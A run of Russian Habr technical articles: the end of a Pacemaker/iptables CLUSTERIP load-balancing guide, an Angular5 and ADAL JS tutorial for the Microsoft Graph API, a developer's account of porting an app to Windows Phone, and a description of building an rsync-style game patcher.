Также вам вероятно придется отключить функцию [Dynamic ARP Inspection](http://xgu.ru/wiki/Dynamic_ARP_Protection), если она поддерживается вашим коммутатором, так как она может стать причиной блокировки arp-ответов от ваших хостов.
Настройка IPaddr-ресурса
------------------------
Вот мы и добрались до самого интересного.
На данный момент существует две версии IPaddr с поддержкой клонирования:
* **IPaddr2** (`ocf:heartbeat:IPaddr2`) — Стандартный ресурс-агент для создания и работы виртуального IP-адреса. Как правило устанавливается вместе со стандартным пакетом `resource-agents`.
* **IPaddr3** (`ocf:percona:IPaddr3`) — Улучшенная версия IPaddr2 от Percona.
В эту версию включены исправления ориентированные на работу именно в режиме clone.
Требуется отдельная установка.
Для установки IPaadr3 выполните эти команды на каждом хосте:
```
curl --create-dirs -o /usr/lib/ocf/resource.d/percona/IPaddr3 \
https://raw.githubusercontent.com/percona/percona-pacemaker-agents/master/agents/IPaddr3
chmod u+x /usr/lib/ocf/resource.d/percona/IPaddr
```
Дальше операции выполняются на одном узле.
Создадим ресурс для нашего виртуального IP-адреса:
```
pcs resource create ClusterIP ocf:percona:IPaddr3 \
params ip="192.168.100.100" cidr_netmask="24" nic="eth0" clusterip_hash="sourceip-sourceport" \
op monitor interval="10s"
```
**clusterip\_hash** — здесь нужно указать желаемый тип распределения запросов.
Всего может быть три варианта:
* `sourceip` — распределение только по IP-адресу источника, это гарантирует что все запросы от одного источника всегда будут попадать на один и тот же хост.
* `sourceip-sourceport` — распределение по IP-адресу источника и исходящему порту. Каждое новое соединение будет попадать на новый хост. Оптимальный вариант.
* `sourceip-sourceport-destport` — распределение по IP-адресу источника исходящему порту и порту назначения. Обеспечивает наилучшее распределение, актуально если у вас работает несколько сервисов на разных портах.
Для IPaddr2 обязательно нужно указать параметр `mac=01:00:5E:XX:XX:XX` с mac-адресом из multicast-диапазона. IPaddr3 устанавливает его автоматически.
Теперь склонируем наш ресурс:
```
pcs resource clone ClusterIP \
meta clone-max=3 clone-node-max=3 globally-unique=true
```
Это действие создаст следующее правило в `iptables`:
**Правило**
```
Chain INPUT (policy ACCEPT)
target prot opt source destination
all -- anywhere 192.168.100.100 CLUSTERIP hashmode=sourceip-sourceport clustermac=01:00:5E:21:E3:0B total_nodes=3 local_node=1 hash_init=0
```
Как вы можете заметить, здесь используется модуль `CLUSTERIP`.
Работает он следующим образом:
На три ноды приходят все пакеты, но все три Linux-ядра знают сколько нод получает пакеты, все три ядра нумеруют получаемые пакеты по единному правилу, и, зная сколько всего нод и номер своей ноды, каждый сервер обрабатывает только свою часть пакетов, остальные пакеты сервером игнорируются — их обрабатывают другие сервера.
Подробнее об этом написанно в этой [статье](http://gentoo-wiki.vfose.ru/wiki/%D0%A0%D0%B0%D1%81%D0%BF%D1%80%D0%B5%D0%B4%D0%B5%D0%BB%D0%B5%D0%BD%D0%B8%D0%B5_%D0%BD%D0%B0%D0%B3%D1%80%D1%83%D0%B7%D0%BA%D0%B8_%D0%BD%D0%B0_LDAP-%D1%81%D0%B5%D1%80%D0%B2%D0%B5%D1%80%D0%B0_%D1%81%D1%80%D0%B5%D0%B4%D1%81%D1%82%D0%B2%D0%B0%D0%BC%D0%B8_iptables_CLUSTERIP).
Давайте еще раз посмотрим на наш кластер:
```
pcs cluster status
```
**Вывод**
```
Cluster Status:
Cluster name: cluster
Last updated: Tue Jan 24 19:38:41 2017
Last change: Tue Jan 24 19:25:44 2017 by hacluster via crmd on hostA
Stack: corosync
Current DC: hostA (version 1.1.14-70404b0) - partition with quorum
3 nodes and 0 resources configured
Online: [ hostA hostB hostC ]
Full list of resources:
Clone Set: ClusterIP-clone [ClusterIP-test] (unique)
ClusterIP:0 (ocf:percona:IPaddr3): Started hostA
ClusterIP:1 (ocf:percona:IPaddr3): Started hostB
ClusterIP:2 (ocf:percona:IPaddr3): Started hostC
PCSD Status:
hostA: Online
hostB: Online
hostC: Online
```
IP-адреса успешно запустились. Пробуем обратиться к ним снаружи.
Если все работает как надо, то на этом настройку можно считать законченой.
Ссылки
------
* [Кластер высокой доступности (HA-cluster) на базе Pacemaker](https://abc-unix.ru/docs/abc/126_cluster_pcs_lvm_gfs.html)
* [HA-Cluster на основе Pacemaker под контейнерную виртуализацию LXC и Docker](https://habrahabr.ru/post/263091/)
* [pacemaker: как добить лежачего](https://habrahabr.ru/post/200348/)
* [The use of Iptables ClusterIP target as a load balancer for PXC, PRM, MHA and NDB](https://www.percona.com/blog/2014/01/10/using-clusterip-load-balancer-pxc-prm-mha/)
* [Pacemaker load-balancing with Clone](https://www.sebastien-han.fr/blog/2012/09/16/pacemaker-load-balancing-with-clone/)
* [Распределение нагрузки на LDAP-сервера средствами iptables CLUSTERIP](http://gentoo-wiki.vfose.ru/wiki/%D0%A0%D0%B0%D1%81%D0%BF%D1%80%D0%B5%D0%B4%D0%B5%D0%BB%D0%B5%D0%BD%D0%B8%D0%B5_%D0%BD%D0%B0%D0%B3%D1%80%D1%83%D0%B7%D0%BA%D0%B8_%D0%BD%D0%B0_LDAP-%D1%81%D0%B5%D1%80%D0%B2%D0%B5%D1%80%D0%B0_%D1%81%D1%80%D0%B5%D0%B4%D1%81%D1%82%D0%B2%D0%B0%D0%BC%D0%B8_iptables_CLUSTERIP)
* [pacemaker/Ch-Active-Active.txt at master · ClusterLabs/pacemaker](https://github.com/ClusterLabs/pacemaker/blob/master/doc/Clusters_from_Scratch/en-US/Ch-Active-Active.txt)
* [9.5. Clone the IP address](http://clusterlabs.org/doc/en-US/Pacemaker/1.1/html/Clusters_from_Scratch/_clone_the_ip_address.html) | https://habr.com/ru/post/319550/ | null | ru | null |
# Office 365. Пример работы с Microsoft Graph API в Angular5 с помощью ADAL JS. ADAL JS vs MSAL JS
В [прошлый раз](https://habrahabr.ru/post/346552/) мы обсудили механизм авторизации для работы с Office 365 API (в частности с Microsoft Graph API):
* при каждом вызове API нужно передать token. Token имеет ограниченный срок жизни
* token выдает сервис Microsoft, так называемый “Azure AD Authorization Endpoint”
* получить token можно без серверной части используя только JavaScript в браузере. Для этого Microsoft сделал JavaScript библиотеку [ADAL JS](https://github.com/AzureAD/azure-activedirectory-library-for-js), которая упрощает коммуникацию с “Azure AD Authorization Endpoint” для получения token.
Тогда мы сделали простую статичную HTML-страницу, на которой наш vanilla JavaScript делал запрос к Microsoft Graph API и отображал список писем из Office 365. В данной заметке разовьем пример и сделаем тоже самое на Angular5.
Также поговорим о различиях рабочих (Work or school account) и персональных (Personal Account) аккаунтов при использовании Office 365 API.
Пример на [GitHub](https://github.com/AlexeyBoiko/angular5-office365-adal-example).
Будем считать, что вы знакомы с [предыдущей статьёй](https://habrahabr.ru/post/346552/), понимаете процесс получения и использования token, уже зарегистрировали приложение в Azure, получили Application ID.
ADAL JS и MSAL JS
-----------------
У Microsoft есть два вида аккаунтов:
— Work or school Account
— Personal Account
Work or school account создается (и удаляется) администратором компании, которая купила подписку Office 365. Сотрудники используют его, например, для подключения к корпоративной почте, SharePoint, OneDrive.
Personal Account создаете вы сами, используется для подключения к персональным сервисам, например личному OneDrive.
> Более подробно про Work и Personal аккаунты можно почитать тут “[Understanding Microsoft Work And Personal Accounts](http://www.brucebnews.com/2016/06/finding-your-way-through-microsofts-maze-of-work-and-personal-accounts/)”.
Office 365 API (например Microsoft Graph API) имеет разную поддержку для персональных и рабочих аккаунтов. Например, работать с почтой могут и Work account и Personal account, но не существует персонального SharePoint (а следовательно, и API SharePoint для Personal account).
Мы уже знаем, что token для вызовов API выдает “Azure AD Authorization Endpoint”. Точек авторизации существует 2:
* **Authorization Endpoint**
Выдает токены только для Work Account-ов.
При логине пользователь отправляется на
https: //login.microsoftonline.com/common/oauth2/authorize?client\_id=...
* **Authorization Endpoint v2.0**
Выдает токены как для Work так и для Personal Account-ов
При логине пользователь отправляется на
https: //login.microsoftonline.com/common/oauth2/v2.0/authorize?
client\_id=…
Зачем тогда вообще нужен “Authorization Endpoint”? Особенность заключается в том, что “Authorization Endpoint v2.0” выдаст токен только для тех возможностей API которые есть и для Work и для Personal аккаунтов. Т.е. используя Endpoint v2.0 и Work account вы сможете получить доступ к почте, но не будет доступа к API SharePoint (подробнее о том какие API поддерживает Endpoint v2.0 см в ссылках в конце).
В настоящее время v2.0 endpoint не работает с приложениями, которые зарегистрированы в корпоративном Azure портале (такую регистрацию мы делали в прошлой заметке), нужно использовать отдельный [Microsoft Application Registration Portal](https://apps.dev.microsoft.com/).
Microsoft обещает в будущем расширить возможности v2.0 endpoint, и обеспечить поддержку приложений, зарегистрированных в корпоративном Azure портале — v2.0 endpoint сможет выдать для них токены. А пока, для корпоративных приложений, Microsoft рекомендует использовать “Authorization Endpoint”:
> If your application only needs to support Microsoft work and school accounts, don't use the v2.0 endpoint
ADAL JS работает с “Authorization Endpoint”, MSAL JS с v2.0 endpoint. В данной заметке мы будем использовать Authorization Endpoint первой версии и соответственно ADAL JS.
Angular 5 и ADAL JS
-------------------
Нам понадобится установленный Node.js, npm, и [Angular CLI](https://github.com/angular/angular-cli) – утилита которая помогает создавать и собирать Angular проекты. Весь процесс хорошо описан в [Angular QuickStart](https://angular.io/guide/quickstart).
Сделаем новый проект:
```
ng new angular5-office365-adal-example
```
Не существует официальных (от Microsoft) TypeScript d.ts описаний для Adal.js. Несколько вариантов использования Adal.js в Angular 5:
1. Не использовать d.ts описания, объявить объект AuthenticationContext (из Adal.js) как глобальный any и писать нетипизированный код как на обычном JavaScript
2. Самому сделать d.ts описание
3. Воспользоваться проектом [adal-angular5](https://www.npmjs.com/package/adal-angular5), который является калькой оригинального adal-angular.js для AngularJS от Microsoft ([Adal js](https://github.com/AzureAD/azure-activedirectory-library-for-js))
4. Есть проекты, в которых Adal js полностью переписан на TypeScript ([adal-ts](https://www.npmjs.com/package/adal-ts), [adal-typescript](https://www.npmjs.com/package/adal-typescript))
5. Воспользоваться готовым d.ts описанием.
5 вариант выглядит самым простым и удобным: используется оригинальный Adal.js от Microsoft и с помощью d.ts описания добавляете intellisense и проверки при сборке.
Установим проверенные d.ts описания для [Adal.js](https://www.npmjs.com/package/@types/adal). Находясь в папке проекта:
```
npm install --save @types/adal
```
У нас пример тестовый, поэтому сделаем его максимально простым: будем подключаться к Microsoft Graph API прямо в AppComponent.
В файле app.component.ts импортируем HttpClient и adal
```
import { HttpClient, HttpHeaders } from '@angular/common/http';
import { } from 'adal'; // без этого приложение будет собираться, но будут сообщения об ошибках
```
В app.module.ts подключим HttpClientModule
```
import { BrowserModule } from '@angular/platform-browser';
import { NgModule } from '@angular/core';
import { HttpClientModule } from '@angular/common/http'; //<- ADD
import { AppComponent } from './app.component';
@NgModule({
declarations: [
AppComponent
],
imports: [
BrowserModule,
HttpClientModule //<- ADD
],
providers: [],
bootstrap: [AppComponent]
})
export class AppModule { }
```
Подключим js-библиотеку к странице
Дальше будет точно такой же код как в прошлом примере на JS.
В ngOnInit проверим авторизован пользователь или нет, если не авторизован или token протух отправим пользователя на страницу регистрации.
```
let config: adal.Config = {
tenant: 'igtit.onmicrosoft.com',
clientId: '21XXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX',
postLogoutRedirectUri: window.location.origin,
endpoints: {
graphApiUri: "https://graph.microsoft.com",
},
cacheLocation: "localStorage",
redirectUri: ''
};
let authContext = new AuthenticationContext(config);
let isCallback = authContext.isCallback(window.location.hash);
authContext.handleWindowCallback();
if (isCallback && !authContext.getLoginError()) {
window.location.href = (authContext).\_getItem((authContext).CONSTANTS.STORAGE.LOGIN\_REQUEST);
}
// check if user need to login
let user = authContext.getCachedUser();
let token = authContext.getCachedToken(config.clientId);
if (!user || !token) {
authContext.login();
}
```
Теперь можно использовать token для вызова Microsoft Graph API
```
authContext.acquireToken(config.endpoints.graphApiUri, (error, token) => {
// call Microsoft Graph API with token
let url = config.endpoints.graphApiUri + "/v1.0/me/messages";
this.http.get(url, {
headers: {
"Authorization": "Bearer " + token
}
}).subscribe(mgs => this.messages = (mgs).value);
});
```
Полный пример на [GitHub](https://github.com/AlexeyBoiko/angular5-office365-adal-example).
Ссылки
------
[Active Directory Authentication Library (ADAL) for JavaScript](https://github.com/AzureAD/azure-activedirectory-library-for-js)
[Microsoft Authentication Library Preview for JavaScript (MSAL.js)](https://github.com/AzureAD/microsoft-authentication-library-for-js)
[Should I use the v2.0 endpoint?](https://docs.microsoft.com/en-us/azure/active-directory/develop/active-directory-v2-limitations)
[What's different about the v2.0 endpoint?](https://docs.microsoft.com/en-us/azure/active-directory/develop/active-directory-v2-compare)
[Understanding Microsoft Work And Personal Accounts](http://www.brucebnews.com/2016/06/finding-your-way-through-microsofts-maze-of-work-and-personal-accounts/) | https://habr.com/ru/post/348106/ | null | ru | null |
# Через тернии в маркет
Хочу поделиться опытом разработки приложения на Windows Phone 7.5, миграции его на Windows Phone 8, и что я думаю о перспективах в целом. Информация будет интересна в первую очередь начинающим разработчикам, так как сам я только недавно перешел с web разработки на мобильную и опыта у меня еще не очень много.
Что бы Вы не подумали, прочитав статью, что разработка под Windows Phone (WP) — ад кромешный, скажу сразу:
Ребята из Microsoft молодцы: отличный SDK, доступная ценовая политика, море документации, отличное комьюнити и с# — все это делает процесс разработки приятным и увлекательным. Просто я хочу рассказать именно о сложностях, с которыми я столкнулся.
Немного о том, чем я занимался. Задача стояла предельно простая:
есть успешное приложение на Iphone, Android, Ipad, Mac os, Windows ([кому интересно](http://www.mymovies.dk/products.aspx)) и нужно было перенести его на WP. Начинал я разработку в то время, когда на рынке телефонов от Microsoft передовой была Windows Phone 7.5 и вот-вот должна была появиться Windows Phone 8. После выяснения задачи следующее, что нужно было сделать — это определиться на чем писать и как писать. Если с тем, на чем писать вопросов не возникало, то над тем как писать пришлось задуматься. Дело в том, что я уже писал приложение для платформы WP7, но оно было простое и не требовало каких-либо сложных шаблонов проектирования. Начитавшись про крутость [MVVM паттерна](http://ru.wikipedia.org/wiki/Model-View-ViewModel) решил попробовать и начал искать фреймворки для его реализации. Больше всех мне понравился [Mvvm Light toolkit](http://www.galasoft.ch/mvvm/) за его простоту и легкий порог вхождения. Именно благодаря использованию MVVM процесс миграции на WP8, а затем и на Windows 8 стал в разы проще.
**Дизайн**
С дизайном мы провозились очень долго. Для нас этот опыт был первый и очень много было тонкостей. Кроме того не все то, что смотрится красиво, будет быстро работать на телефоне ( к примеру выбор между Pivot и Panorama). Так как мы сразу решили поддерживать светлую и темную темы, долго провозились с подбором backround — ов для страниц, но так и не пришли к варианту, который бы нас устроил (отдельный привет ApplicationBar, который как бельмо на глазу ). Советую сразу продумывать все менюшки в приложении и то, что у вас будет в ApplicationBar ( в него только самое необходимое: сохранить, удалить, отменить, добавить.). Подумайте как вы будете использовать [accent colours](http://chemicaloli.net/2011/10/01/windows-phone-7-accent-colour-list/) и как это все будет смотреться в разных темах. [Сетку](http://habrahabr.ru/company/microsoft/blog/172387/) мы попробовали и у нас не получилось. Я тогда первый раз узнал что такое полупиксель 8) (в приложении он и по сей день иногда всплывает 8) ). Минимализм хорошо, но сделать что-то выделяющиеся реально сложно.
**А что с компонентами и контролами?**
Все необходимые компоненты и контролы есть, но не все они работают так, как нужно. Начинал я с использования [Windows Phone Toolkit](http://phone.codeplex.com/). Все работало хорошо, но когда дело доходило до тонкостей, нужно было браться за напильник, особенно когда дело касалось производительности и юзабилити. Больше всего меня сводил с ума тормознутый LongListSelector. На одной из конференция я услышл о [RadControls](http://www.telerik.com/products/windows-phone/overview/all-controls.aspx) , попробовав я уже не смог работать с другими. Стоят не дорого, а времени сэкономят уйму, да и еще стандартные элементы, к примеру TextBox, PasswordBox, намного приятней в использовании (базовая анимация, clear button, открывания звездочек в PasswordBox ). Казус случился с Multiselect ListPicker, который напрочь отказался работать с Two-way databinding и пришлось немного шаманить.
Кроме того сводило с ума несколько вещей:
— Виртуальная клавиатура при появлении перкрывает нижнюю часть формы.С этой фичей я сражался на каждой странице и так полностью не победил. Пришлось каждую форму оборачивать в ScrollViewer и при появлении клавиатуры добавлять Margin с низу. Я реально не понимаю почему не работает как в Iphone.
— Переход по нажатию на кнопку ↲ на виртуальной клавиатуре, не переводит фокус на другой элемент, нужно обрабатывать самому. Для такой нехитрой операции я использовал хитрый [helper](http://pauliom.com/2010/09/04/keyboard-helper-class-for-wp7-vs-tab-index/)
— Изменение фокуса элемента, при открытой виртуальной клавиатуре приводит к тому, что элемент сна который будет перенесен фокус, будет находиться под клавиатурой. ( я изменил фокус с Title на Original Title, нажав ↲)
— Пока фокус не уйдет с поля two-way DataBinding не происходит. К примеру, если в ситауции показанной на картинке выше, нажать на кнопку сохранить на AppBar, то все то, что будет в поле Original Title во ViewModel не прийдет. Это пришлось обходить при помощи кода
`private void UpdateSource()
{
object focusObj = FocusManager.GetFocusedElement();
if (focusObj != null && focusObj is TextBox)
{
var binding = (focusObj as TextBox).GetBindingExpression(TextBox.TextProperty);
binding.UpdateSource();
}
if (focusObj != null && focusObj is Telerik.Windows.Controls.RadTextBox)
{
var binding = (focusObj as Telerik.Windows.Controls.RadTextBox).GetBindingExpression(Telerik.Windows.Controls.RadTextBox.TextProperty);
binding.UpdateSource();
}
}`
— ApplicationBar не работает с commands и локализировать ее можно только программно. Кроме того, сделать динамический ApplicationBar ( к примеру у каждого Pivot Item свой ApplicationBar) тот еще костыль. Пришлось использовать [BindableApplicationBar](http://bindableapplicationb.codeplex.com/) , который очень плохо дружит с Expression Blend.
— Если Вы захотите показать большое количество текста на странице, Вас ждет разочарование в виде ограничения, и все что не вписывается 2048x2048 pixels будет поглащено черной дырой Microsoft, и поможет Вам только вот эта [статья](http://blogs.msdn.com/b/priozersk/archive/2010/09/08/creating-scrollable-textblock-for-wp7.aspx).
— как просто работать с картинками, чтобы они смотрелись на разных экранах одинаково хорошо, я не понял и использовал [multi resolution image](http://www.telerik.com/products/windows-phone/overview/all-controls/multiresolutionimage.aspx)
**База данных**
С базой данных получилась самая большая заминка, я бы даже сказал реальный Fuck up. Версия WP7.5 (как и последующие) имеет свою встроеннуюю СУБД — SQL CE. Первая версия программы была реализована именно на этой СУБД. Надо сказать, что программа для Iphone, Ipad, Android и остальных ОС была написана с использованием SQlite. Но для WP7, на тот момент, официальных драйверов не было (как нет их и сейчас, появились только с версии Windows Phone 8 ), а с неофициальным связываться не хотелось. Для клиента это оказалось небольшим шоком, но со скрипом мы портировали уже готовую БД sqlite на SQL CE, создали модели, описали связи, индексы и т.д..
При работе с небольшими объемами данных БД работала без проблем, но когда количество записей переваливало за пару тысяч — тут начинались ощутимые тормоза. Я долго пытался оптимизировать работу с БД, но ничего не выходило. Кроме того, у меня стоит бесплатная версия студии и работать с БД было немного проблематично, вьювер для нее не ставился и пришлось долго и нудно искать программу для работы с sdf файлами.
Затем было принято решение начать разработку под Windows 8\RT и каково было общее удивление, когда оказалось, что в Windows 8\RT не потдерживается SQL CE и они рекомендуют использовать sqlite (к тому времени уже вышли версии драйверов sqlite для Windows 8\RT Windows Phone 8 ).
Это был шок. Плюнув на все, решили искать варианты работы с sqlite на Windows 7.5. Потратив уйму времени, нашел устаревшую библиотеку. К счастью, в ней оказалась потдержка транзакций, без которой мы не смогли бы работать. Был написан небольшой helper для работы с библиотекой (могу дать страждущим). И все вроде заработало, но косяки в ней выгребаю и по сей день. Кроме того она очень плохо работает с UTF8.
Лично мною был сделан вывод: если нужна работа с БД, то только sqlite и только начиная с Windows Phone 8.
**Работа с сервером**
Работать с сервером оказалась не очень сложно. Облегчить работу с API мне помогла библиотека RestSharp (Simple REST and HTTP API Client for .NET) <http://restsharp.org/>. Единственной сложностью оказалось выполнение синхронных запросов. В WP7 это можно сделать используя делегаты. Правда, порою мне казалась, что я совсем запутался в хитросплетениях колбеков и приходилось производить рефакторинг.
Кроме того, работать с SSL оказалось [невозможно](http://stackoverflow.com/questions/5648506/how-to-ignore-certificate-errors-in-windows-phone-7) и это очень грустно. Но в целом все не так страшно, как работа с базой данных.
**Локализация**
С локализацией особых проблем не было. В первой версии программы было решено поддерживать 12 языков. Переводы были сделаны с помощью сервиса [http://www.icanlocalize.com](http://www.icanlocalize.com/site/). Ничего плохого сказать про работу сервиса не могу, но есть одно НО: работает только с Iphone\Android и пришлось писать конвертер для конвертирования XML в resx и обратно (если кому надо — могу дать). И опять же есть небольшая несовместимость файлов локализации между Windows Phone и Windows 8 \RT (Microsoft такой soft ). Небольшие трудности возникли с локализацией AppBar, но они легко обходятся.
**“Ура”: новая Windows**
Пока двигалась разработка, новость о том, что будет новая WP8 была все время на слуху. После презентации Windows Phone 8 в июне 2012 стало ясно, что телефоны на базе Windows Phone 7.5 не будут работать с WP8, а получат свое ущербное обновление. Для нас это оказалось довольно неприятной новостью. Ложкой меда было то, что программы, написаные для WP7.5, будут работать и на телефонах с WP8, но не смогут использовать все фичи новой ОС. Мы подумали: ну ок, нам, вроде, они и ни к чему. Но телефончик заказали.
Когда пришел телефон, пришлось ставить и новую студию 2012. Затем, в довесок к студии, купить новый ноутбук ([так как нужен процессор выше i3 с поддержкой технологии SLAT](http://social.msdn.microsoft.com/Forums/ru-RU/1b138722-e8c4-4d8e-b303-2c4e7f667df1/faq-windows-phone-sdk-80) ). Ну и конечно, Windows 8 ( куда ж без нее ...). В общем, переход получился очень затратный, как по времени, так и по деньгам. Установили на WP8 то, что мы сделали, поплакали и задумались: что делать дальше. Конечно, было не все так ужасно, но стало ясно, что в таком виде выходить нельзя. Основная проблема была в картинках, сплеш скринах, иконках, но и некоторые компоненты отказались работать. В решении этой проблемы помогла статья [http://developer.nokia.com](http://developer.nokia.com/Community/Wiki/Maintaining_a_WP7_and_WP8_version_of_a_same_Silverlight_application#Adding_WP8_features_to_a_WP7_Application_:_Sample_Application)
можно посмотреть и [вот ее](http://developer.nokia.com/Resources/Library/Lumia/#!co-development-and-porting-guide.html)
Делая отдельные проекты для каждой версии в одном солюшене, я все время радовался, что еще в самом начале принял решение использовать MVVM паттерн.
**В MARKETplace**
Так как у приложения уже было свое community ( для меня было откровением, что так много людей имеют телефоны на разных платформах одновременно), то мы решили сделать [Betta Testing](http://msdn.microsoft.com/en-us/library/windowsphone/help/jj215598%28v=vs.105%29.aspx), и очень здорово, что платформа позволяет это сделать. Пригласив людей с форума имеющих WP телефоны начали тестирование. На исправление ошибок ушло около двух месяцев, попутно поменяли дизайн и нарастили функционал (все для клиента). К релизу мы подошли уже уверенные в себе, огромное спасибо тем людям, которые учавствовали в тестировании.
Загрузка приложения в магазин прошла быстро, сертификация заняла 8 дней и прошла с первого раза. Единственная морока была с подготовкой скринов, так как нужно для каждого языка делать свой набор скринов, а у нас 12 языков. Начались продажи, и вскоре выплыл один баг, который нужно было срочно исправить. Исправил я его за 10 минут и отправили update на сертификацию. Создали тикет в Microsoft с описанием того, что случилось и просьбой ускорить сертификацию. Ответа не получили, так же как и ускорения — 7 рабочих дней 8(, а с учетом выходных 9. 9 дней волнений и самобичеваний. Я уверен, что им для таких случаев нужно делать отдельный механизм сертификации, ведь проверить где и что поменялось с предыдущей версии не может занимать так много времени. Хотя бы для критических ошибок, ведь это и их деньги тоже.
Разместили рекламу в соцсетях, на сайте и сделали рассылку. Начало продаж было вяленьким и клиент сразу поник, так как у него уже был опыт запуска этого приложения на других платформах. Естественно после пика загрузок и покупок при запуске начался медленный спад продаж. На сегодняшний день продажи составляют в средней 10 приложений в сутки, что есть очень низким показателем в сравнении с другими платформами (50 покупок в день для Android и 150 для Iphone)
Статистика загрузок выглядит где-то так:
Ну и в сравнении с Iphone и Android
Очень расстраивает не то, что продажи такие низкие, а то что при таких низких продажах мы находились в рейтингах Top Paid приложений:
— Италия, Швеция, Норвегия: 40 место
— США: 70 место
— Швецария: 16 место.
— Чехия: 6 место
— Франция: 50 место
А в нутри своей категории на первом\втором местах! и это при таких низких покупках!!!
Можно предположить, что у приложений находящихся в топах дела идут чуть-чуть лучше.
Конечно необходим грамотный promotion, но даже если продажи вырастут в два раза, мы не догоним Android и не окупим дальнейшую разработку приложения.
На сегодняшний день, к сожалению, заказчик решает вопрос о целесообразности продолжении поддержки приложения для WP платформы, а я думаю над тем стоит ли связываться и в дальнейшем с этой платформой. | https://habr.com/ru/post/195796/ | null | ru | null |
# Разработка патчера к игре
После написания первой игры перед нами встала задача, о которой мы даже не задумывались ранее. Это разработка патчера к игре. Для нашего патчера мы определили следующие требования:
* Поддержка юнити игр
* Дружелюбность к пользователю
* Отображение игровых новостей
* Универсальность для всех игр разработанных нашей студией
* Гибкость настройки
* И самое важное: умение делать небольшие патчи для больших файлов
Ссылка на исходники патчера в конце статьи.
Как обычно перед тем как изобретать велосипед, я ищу готовые решения проблемы. Но либо я плохо гуглил, либо единственное что удовлетворяло требованием это [M2H Patcher](http://u3d.as/content/m2h/m2hpatcher/2rU) с Unity Asset Store.
На внедрение мы потратили несколько дней, и пропользовались им около месяца (до первой и одновременно последней поломки). В один прекрасный день патчер отказался делать патч. Потратив несколько часов на разбирательство я выяснил причину.
Дело в том что этот патчер использовал для работы утилиты [bsdiff & bspatch](http://www.daemonology.net/bsdiff/). Для работы утилиты bsdiff нужно *max(17\*n,9\*n+m)+O(1)* памяти. Так уж получилось что на самой лучшей машине в офисе было всего 4 Гб оперативки, а файл с ресурсами был уже более 600 Мб. Вообщем bsdiff отказывался с ним работать (до этого время создания патча составляло непотребные 30+ минут).
Тогда то я решил все-таки собрать велосипед.
Алгоритм
--------
Теперь предстояло нагуглить алгоритм сравнения больших бинарных файлов. Достойных кандидатов оказалось два. Это [Rsync](http://citforum.ru/nets/articles/rsync/) и алгоритм сортировки суффиксов из bsdiff.
Так как со вторым уже были проблемы, то я остановился на первом.
Его суть заключается в следующем. Разбиваем исходный файл на куски равного размера (далее чанки от англ. chunk).
Для каждого чанка считаем два хэша: сильный и слабый. Сильный хэш — это обычный MD5. Слабый хэш — это [кольцевой хэш](http://ru.wikipedia.org/wiki/%D0%9A%D0%BE%D0%BB%D1%8C%D1%86%D0%B5%D0%B2%D0%BE%D0%B9_%D1%85%D1%8D%D1%88). Его особенность в том, что если хэш от n до n+S-1 равняется R, то последовательность байт от n+1 до n+S может быть посчитана исходя из R, байта n и байта n+S без необходимости учитывать байты, лежащие внутри этого интервала.
Точно так же нужно посчитать результирующий файл. На выходе у нас должно получится две последовательности хешированных чанков.
Далее мы начинаем сравнивать слабые хэши в файлах в поисках одинаковых чанков. Если хэши совпали, то сравниваем сильные хэши. Ключом алгоритма является создание двух сигнатур — быстрой и стойкой. Быстрая используется как фильтр. Стойкая используется для более точной проверки.
На выходе мы имеем список отличающихся чанков, которые и записываем в патч.
Создание патча
--------------
Для наших игр хорошо подходит система, где номер версии обозначается целым числом. Таким образом обычно мы имеем кучу папок с разными версиями текущего проекта: 1, 2, 3, и т.д.
Первое что надо будет сделать после нажатия кнопки — это определить какие файлы изменились, удалились, добавились. Для этого сравниваем папки через
```
string[] files1 = Directory.GetFiles(folder1, "*.*", SearchOption.AllDirectories);
string[] files2 = Directory.GetFiles(folder2, "*.*", SearchOption.AllDirectories);
```
и ведем список изменений. Если файл добавился, то считаем md5. Если изменился, то считаем новый и старый md5. Эти хэши нужны будут для того, чтобы определить можно ли применить патч и корректно ли он установился.
Эти данные собираются в архив с максимальным сжатием через [SharpZipLib](https://github.com/icsharpcode/SharpZipLib). В конце мы дописываем туда файлик *patch\_info.txt* в котором хранятся данные о размере чанка, список файлов с их хэшами и действиями.
Пример:
```
1024
R star-draft_Data\level1
M settings.xml 5e54da0d0c1dfca2bbc623979b7bceef 7a64fb8bc102b9d6bc0862ca63cdbb8d
A star-draft_Data\level0 a3d14f5ed8d05164d59025cc910226ea
M star-draft_Data\resources.assets 02466b9218cbf482d562570d8c0c90c8 20f1f88b5036a168bdd26fe7f4f9dadd
M patcher\version.txt c81e728d9d4c2f636f067f89cc14862c c4ca4238a0b923820dcc509a6f75849b
```
\* *R — removed, A — added, M — modified*
В зависимости от действия там лежит либо сам файл, либо патч к старой версии.
Теперь этот патч можно выложить на любой веб хостинг. Я тестил на дропбоксе.
Важно заметить что для нормальной работоспособности системы в папке с игрой должен лежать файл *.\patcher\version.txt*. В нем хранится информация о текущей версии игры. Ее считывает патчер и сам же меняет в результате процесса применения патча. Патч билдер старается следить чтобы вы не ошиблись, и версия в файле совпадала с версией указанной в имени папки.
Патчер
------
**Скриншот**
Слева должны быть логотипы игры и издателя, а справа новости
При старте патчер считывает файл настроек по пути *./patcher/configuration.xml* и проверяет на валидность.
Пример файла с комментариями:
```
xml version="1.0"?
TestGame
Test.exe
http://coolgame.com
http://coolgame.com/version.txt
http://coolgame.com/patches/
http://coolgame.com/news\_for\_patcher.html
http://coolpublisher.com
```
Первым делом патчер проверит свою версию из файла *./patcher/version.txt*. Потом он проверит последнюю версию игры по ссылке из настроек. Если последняя версия больше то запускается процесс обновления по схеме:
```
for (int i = current_version; i < last_version; i++)
{
DownloadPatch(URL + string.Format("{0}_{1}", i, i+1));
ApplyDownloadedPatch();
}
```
Чтобы применить патч, сначала нужно получить список измененных файлов. Поэтому первым делом достаем из скачанного архива *patch\_info.txt*, парсим его и пробегаем циклом по файлам.
Если файл подлежит удалению, то удаляем. Если добавлен, то распаковываем из архива. Если изменен то применяем патч если хэши совпадают (чтобы не испортить его).
В конце не забываем проверить новый md5 хэш.
Я старался сделать так, чтобы любое исключение в патчере имело текстовое описание и варианты решения.
Так же патчер уже локализован на русский и английский языки средствами .NET
### Статистика
Для проверки я сразу же засунул в него клиент нашей игры на Unity3D, с которым отказался работать bsdiff.
Клиент версия 1 — **1669 Mb**
Клиент версия 2 — **1692 Mb** *(мы добавили модельку с пачкой текстур)*
Размер патча при размере чанка 1 Кб и максимальном сжатии архива — **11.8 Mb**, что очень похоже на результаты работы патчера с bsdiff'ом
Время создания патча на моей машине меньше минуты, а применения около 10 секунд.
